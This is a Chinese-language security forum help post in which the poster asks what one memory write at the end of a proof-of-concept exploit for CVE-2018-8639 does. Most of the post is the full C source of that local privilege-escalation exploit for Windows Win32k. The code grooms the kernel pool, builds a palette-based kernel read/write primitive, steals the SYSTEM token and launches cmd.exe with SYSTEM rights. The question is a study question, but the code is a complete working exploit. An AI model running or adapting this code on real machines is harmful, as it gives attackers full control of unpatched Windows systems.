-
-
未解决 [求助]关于CVE-2018-8639的问题请教
-
发表于: 2020-3-31 19:23 1464
-
poc:
#include "stdafx.h" #include "stdio.h" #include "windows.h" #include "psapi.h" typedef unsigned __int64 QWORD, *PQWORD; typedef struct _UNICODE_STRING { USHORT Length; USHORT MaximumLength; PWSTR Buffer; } UNICODE_STRING, *PUNICODE_STRING; typedef struct { QWORD UniqueProcessIdOffset; QWORD TokenOffset; QWORD DCoffset; } VersionSpecificConfig; extern "C" { VOID __stdcall NtGdiSetLinkedUFIs(HDC hDC, CHAR *buffer, INT length); VOID __stdcall NtUserUnregisterClass(PUNICODE_STRING pUnicodeString, HINSTANCE hInst, PULONG64 length); } HDC hDC_Writer[3000]; CHAR flag[0x80] = "ze0r is so cool!\x00\x00\x00"; QWORD buf[0x20]; ULONG64 ntOsBase; DWORD win32kSize = 0xFFFFFFFF; BYTE *win32kFilebuffer; HPALETTE hPltMgr = 0; HPALETTE hPltWkr = 0; HPALETTE hPalettes[20000]; //VersionSpecificConfig gConfig = { 0xb4, 0xf8 }; //win 7 VersionSpecificConfig gConfig; typedef PQWORD(WINAPI * RTLGetCurrentPeb)(); RTLGetCurrentPeb pfnRtlGetCurrentPeb; typedef void (WINAPI * RTLGetVersion)(OSVERSIONINFOEXW *); RTLGetVersion pfnRtlGetVersion; typedef BOOL(WINAPI * ENUMDeviceDrivers)(LPVOID *lpImageBase, DWORD cb, LPDWORD lpcbNeede); ENUMDeviceDrivers pfnEnumDeviceDrivers; void ReadMem(QWORD Addr, UINT len) { buf[0] = Addr; SetPaletteEntries(hPltMgr, 0x3C, 2, (LPPALETTEENTRY)buf); GetPaletteEntries(hPltWkr, 0, len, (LPPALETTEENTRY)buf); } ULONG64 GetNTOsBase() { DWORD needed = 0; ULONG64 Bases[0x1000]; ULONG64 krnlbase = 0; if (pfnEnumDeviceDrivers((LPVOID *)&Bases, sizeof(Bases), &needed)) { krnlbase = Bases[0]; } return krnlbase; } QWORD PsInitialSystemProcess() { ULONG64 res = 0; ULONG64 Module = (ULONG64)LoadLibraryA("ntoskrnl.exe"); ULONG64 Addr = (ULONG64)GetProcAddress((HMODULE)Module, "PsInitialSystemProcess"); if (ntOsBase) { ReadMem(Addr - Module + ntOsBase, 2); res = buf[0]; } FreeLibrary((HMODULE)Module); return res; } ULONG64 PsGetCurrentProcess(ULONG64 sysEPS) { ULONG64 pEPROCESS = sysEPS; ReadMem(pEPROCESS + gConfig.UniqueProcessIdOffset, 4); while (TRUE) { pEPROCESS = buf[1] - gConfig.UniqueProcessIdOffset - sizeof(ULONG64); ReadMem(pEPROCESS + gConfig.UniqueProcessIdOffset, 4); if (GetCurrentProcessId() == buf[0]) { return pEPROCESS; } } } HDC FindCorruptDC() { QWORD res[0x80 / 4]; PDWORD buf = (PDWORD)flag; *buf = 0; *(buf + 1) = 0; *(buf + 2) = 0x501; *(buf + 3) = 0x1b; for (int i = 0; i < 1000; i++) { NtGdiSetLinkedUFIs(hDC_Writer[i], (CHAR *)buf, 2); if (!GetPaletteEntries(hPltMgr, 0x1C, 0x10, (LPPALETTEENTRY)res)) { *(buf + 3) = 0xfff; NtGdiSetLinkedUFIs(hDC_Writer[i], (CHAR *)buf, 2); return hDC_Writer[i]; } } return 0; } VOID RepairCorruptDC(QWORD ObjAddr, HDC CorruptDC){ buf[0] = ObjAddr + gConfig.DCoffset; SetPaletteEntries(hPltMgr, 0x3C, 2, (LPPALETTEENTRY)buf); buf[0] = 0; buf[1] = 0; SetPaletteEntries(hPltWkr, 0, 4, (LPPALETTEENTRY)buf); } LPACCEL lpAccel; HACCEL hAccel_0xC10_top[4000]; HACCEL hAccel_0x1F0_middle[5000]; HACCEL hAccel_0x200_bottom[4000]; void PoolFengShui() { for (int i = 0; i < 3000; i++) { hDC_Writer[i] = CreateCompatibleDC(NULL); } for (int i = 0; i < 4000; i++) { hAccel_0xC10_top[i] = CreateAcceleratorTableW(lpAccel, 0x1FA); } for (int i = 0; i < 4000; i++) { hAccel_0x200_bottom[i] = CreateAcceleratorTableW(lpAccel, 0x4D); } for (int i = 0; i < 5000; i++) { hAccel_0x1F0_middle[i] = CreateAcceleratorTableW(lpAccel, 0x4A); } for (int i = 1000; i < 5000; i += 2) { DestroyAcceleratorTable(hAccel_0x1F0_middle[i]); } } void GetMgrAndWkr() { QWORD res[0x80 / 4]; PDWORD buf = (PDWORD)flag; *buf = 0; *(buf + 1) = 0; *(buf + 2) = 0x501; *(buf + 3) = 0xfff; for (int i = 0; i < 1000; i++) { NtGdiSetLinkedUFIs(hDC_Writer[i], (CHAR *)buf, 2); } ZeroMemory(res, 0x80 / 4); for (int i = 0; i < 20000; i++) { //1b*4=6c,10*4=40 if (GetPaletteEntries(hPalettes[i], 0x1b, 0x10, (LPPALETTEENTRY)res)) { hPltMgr = hPalettes[i]; hPltWkr = (HPALETTE)((res[0] << 32) * 0x100000000 + (res[0] >> 32)); } } if ((hPltMgr == 0) || (hPltWkr == 0)) { printf("[*] Cannot found Worker, Maybe patched!\n"); ExitProcess(0); } else { printf("[*] found Worker, hPltMgr: %p, hPltWkr: %p!\n", hPltMgr, hPltWkr); PTEB Teb = NtCurrentTeb(); PPEB Peb = Teb->ProcessEnvironmentBlock; if (Peb == NULL) { return ; } printf("[+]Peb Pointer address : %p\n", Peb); PBYTE GdiSharedHandleTable = *(PBYTE *)((ULONGLONG)Peb + 0xF8); if (GdiSharedHandleTable == NULL) { return ; } PBYTE hPltMgrObj = *(PBYTE *)((ULONGLONG)GdiSharedHandleTable + sizeof(HANDLEENTRY) * (((ULONGLONG)hPltMgr) & 0xffff)); if (hPltMgrObj == NULL) { return ; } printf("[+]hPltMgr Lookup address: %p\n", hPltMgrObj); PBYTE hPltWkrObj = *(PBYTE *)((ULONGLONG)GdiSharedHandleTable + sizeof(HANDLEENTRY) * (((ULONGLONG)hPltWkr) & 0xffff)); if (hPltWkrObj == NULL) { return; } printf("[+]hPltWkrObj Lookup address: %p\n", hPltWkrObj); } for (int i = 0; i < 20000; i++) { if ((hPalettes[i] != hPltMgr) && (hPalettes[i] != hPltWkr)) { DeleteObject(hPalettes[i]); } } for (int i = 0; i < 5000; i++) { DestroyAcceleratorTable(hAccel_0x1F0_middle[i]); } } VOID GetSystem() { ULONG64 SelfToken = 0; ULONG64 SystemToken = 0; QWORD SystemEPS; QWORD CurrentEPS; STARTUPINFO stStartUpInfo = { sizeof(stStartUpInfo) }; PROCESS_INFORMATION pProcessInfo; CHAR cmd[] = "c:\\\\windows\\\\system32\\\\cmd.exe"; SystemEPS = PsInitialSystemProcess(); CurrentEPS = PsGetCurrentProcess(SystemEPS); printf("[*] GOT System EPROCESS!\n"); ReadMem(SystemEPS + gConfig.TokenOffset, 2); SystemToken = buf[0]; printf("[*] GOT SystemToken %p \n", SystemToken); buf[0] = CurrentEPS + gConfig.TokenOffset; SetPaletteEntries(hPltMgr, 0x3C, 2, (LPPALETTEENTRY)buf); GetPaletteEntries(hPltWkr, 0, 2, (LPPALETTEENTRY)&SelfToken); SetPaletteEntries(hPltWkr, 0, 2, (LPPALETTEENTRY)&SystemToken); printf("[*] Swaping shell.\n\n"); ZeroMemory(&stStartUpInfo, sizeof(STARTUPINFO)); stStartUpInfo.cb = sizeof(STARTUPINFO); stStartUpInfo.dwFlags = STARTF_USESHOWWINDOW; stStartUpInfo.wShowWindow = 1; CreateProcess(cmd, NULL, NULL, NULL, FALSE, NULL, NULL, NULL, &stStartUpInfo, &pProcessInfo); //restor token SetPaletteEntries(hPltWkr, 0, 2, (LPPALETTEENTRY)&SelfToken); } INT main(int argc, char *argv[]) { system("pause"); ULONG64 a = 0xa; HDESK hNewDesk; HWND hWndCloneCls; CHAR RegMenuName[240]; CHAR NewMenuName[] = "ze0r"; PQWORD gSharedInfo; WNDCLASSEXA wndClass; HMODULE hInst = GetModuleHandleA(NULL); PUNICODE_STRING pClassName = (PUNICODE_STRING)malloc(sizeof(UNICODE_STRING)); OSVERSIONINFOEXW *OSInfo = (OSVERSIONINFOEXW *)malloc(sizeof(OSVERSIONINFOEXW));; OSInfo->dwOSVersionInfoSize = sizeof(OSVERSIONINFOEXW); memset(RegMenuName, 0x78, 240); RegMenuName[239] = 0; pClassName->Length = 0x18; pClassName->MaximumLength = 0x1a; pClassName->Buffer = L"WNDCLASSMAIN"; //size of Palette = 0x100; LOGPALETTE *lPalette = (LOGPALETTE*)malloc(0xA4); memset(lPalette, 0x55, 0xA4); //16*4+90=e8=align=100 lPalette->palNumEntries = 0x16; lPalette->palVersion = 0x300; wndClass = { 0 }; wndClass.cbSize = sizeof(WNDCLASSEXW); wndClass.lpfnWndProc = DefWindowProc; wndClass.cbClsExtra = 0; wndClass.cbWndExtra = 0; wndClass.hInstance = hInst; wndClass.lpszMenuName = RegMenuName; wndClass.lpszClassName = "WNDCLASSMAIN"; lpAccel = (LPACCEL)malloc(sizeof(ACCEL) * 2); SecureZeroMemory(lpAccel, sizeof(ACCEL)); pfnRtlGetCurrentPeb = (RTLGetCurrentPeb)GetProcAddress(GetModuleHandle("ntdll.dll"), "RtlGetCurrentPeb"); pfnRtlGetVersion = (RTLGetVersion)GetProcAddress(GetModuleHandle("ntdll.dll"), "RtlGetVersion"); pfnEnumDeviceDrivers = (ENUMDeviceDrivers)GetProcAddress(GetModuleHandle("kernel32.dll"), "K32EnumDeviceDrivers"); pfnRtlGetVersion(OSInfo); switch (OSInfo->dwMajorVersion) { case 5: if ((OSInfo->dwMinorVersion == 2) && (OSInfo->wProductType != VER_NT_WORKSTATION)) { printf("[*] Operating System: Windows 2003.\n"); } else { printf("[*] Unsupported System.\n"); return 0; } break; case 6: if (OSInfo->dwMinorVersion == 0) { if (OSInfo->wProductType == VER_NT_WORKSTATION) { printf("[*] Operating System: Windows Vista.\n"); } else { gConfig.UniqueProcessIdOffset = 0x0e0; gConfig.TokenOffset = 0x168; gConfig.DCoffset = 0x128; pfnEnumDeviceDrivers = (ENUMDeviceDrivers)GetProcAddress(LoadLibraryA("Psapi.dll"), "EnumDeviceDrivers"); printf("[*] Operating System: Windows Server 2008.\n"); } break; } if (OSInfo->dwMinorVersion == 1) { if (OSInfo->wProductType == VER_NT_WORKSTATION) { gConfig.UniqueProcessIdOffset = 0x180; gConfig.TokenOffset = 0x208; gConfig.DCoffset = 0x138; printf("[*] Operating System: Windows 7.\n"); } else { gConfig.UniqueProcessIdOffset = 0x180; gConfig.TokenOffset = 0x208; gConfig.DCoffset = 0x138; printf("[*] Operating System: Windows Server 2008 R2.\n"); } break; } if (OSInfo->dwMinorVersion == 2) { if (OSInfo->wProductType == VER_NT_WORKSTATION) { printf("[*] Operating System: Windows 8.\n"); } else { printf("[*] Operating System: Windows Server 2012.\n"); } break; } if (OSInfo->dwMinorVersion == 3) { if (OSInfo->wProductType == VER_NT_WORKSTATION) { printf("[*] Operating System: Windows 8.1.\n"); } else { printf("[*] Operating System: Windows Server 2012 R2.\n"); } break; } printf("[*] Unsupported System.\n"); return 0; case 10: if (OSInfo->dwMinorVersion == 0) { if (OSInfo->wProductType == VER_NT_WORKSTATION) { printf("[*] Operating System: Windows 10.\n"); } else { printf("[*] Operating System: Windows Server 2016 or Windows Server 2019.\n"); } break; } break; } SetPriorityClass(GetCurrentProcess(), REALTIME_PRIORITY_CLASS); ntOsBase = GetNTOsBase(); gSharedInfo = pfnRtlGetCurrentPeb() + 0xF8 / 8; hNewDesk = CreateDesktopA("ze0r", NULL, NULL, DF_ALLOWOTHERACCOUNTHOOK, GENERIC_ALL, NULL); PoolFengShui(); //Register window class printf("[*] Register Class.\n"); RegisterClassExA(&wndClass); //Switch to a new Desktop SetThreadDesktop(hNewDesk); hWndCloneCls = CreateWindowA("WNDCLASSMAIN", "CVE", WS_DISABLED, 0, 0, 0, 0, nullptr, nullptr, hInst, nullptr); CloseDesktop(hNewDesk); //Trigger Release memory SetClassLongPtrA(hWndCloneCls, GCLP_MENUNAME, (LONG64)NewMenuName); //Reuse memory for (int i = 0; i < 3000; i++) { //1d8 NtGdiSetLinkedUFIs(hDC_Writer[i], flag, 0x3b); } //Trigger vul; printf("[*] Trigger vul.\n"); DestroyWindow(hWndCloneCls); NtUserUnregisterClass(pClassName, hInst, &a); //Destroy and ReAlloc memory,this will cause memory merge; for (int i = 0; i < 4000; i++) { DestroyAcceleratorTable(hAccel_0xC10_top[i]); } for (int i = 0; i < 4000; i++) { //C00 hAccel_0xC10_top[i] = CreateAcceleratorTableW(lpAccel, 0x1F7); } //Ҫͷ //for (int i = 0; i < 4000; i++) { // DestroyAcceleratorTable(hAccel_0x200_bottom[i]); //} //Alloc Palette for (int i = 0; i < 20000; i++) { hPalettes[i] = CreatePalette(lPalette); } printf("[*] Find Manager and Worker.\n"); GetMgrAndWkr(); GetSystem(); HDC hDCcorrupt = FindCorruptDC(); PQWORD pObjAddres = (PQWORD)(*gSharedInfo + (0xffff & (QWORD)hDCcorrupt) * 0x18); RepairCorruptDC(*pObjAddres, hDCcorrupt); for (int i = 0; i < 1000; i++) { DeleteDC(hDC_Writer[i]); } //Repair BSOD by memory leaking check, //yes! it is a fix address in system! - -! ReadMem(0xFFFFF90000002340, 2); buf[0] -= 0x20; SetPaletteEntries(hPltWkr, 0, 2, (LPPALETTEENTRY)buf); return 0; }
在poc的最后,将0xFFFFF90000002340地址的值减去0x20后再存放回去,这段代码有什么含义吗?我去掉了这段代码后,在我的环境中还是照样可以执行。作者注释说修复蓝屏??0xFFFFF90000002340这个地址是啥意思有大哥知道吗?
赞赏
他的文章
- [求助] 1820
- [求助]jdebugtool使用说明 1715
- [求助]winafl测试用例导致目标程序崩溃问题 3266
- winafl调试问题 2249
- zip文件迅雷可以下载,但是用浏览器不能下载。 3285
看原图
赞赏
雪币:
留言: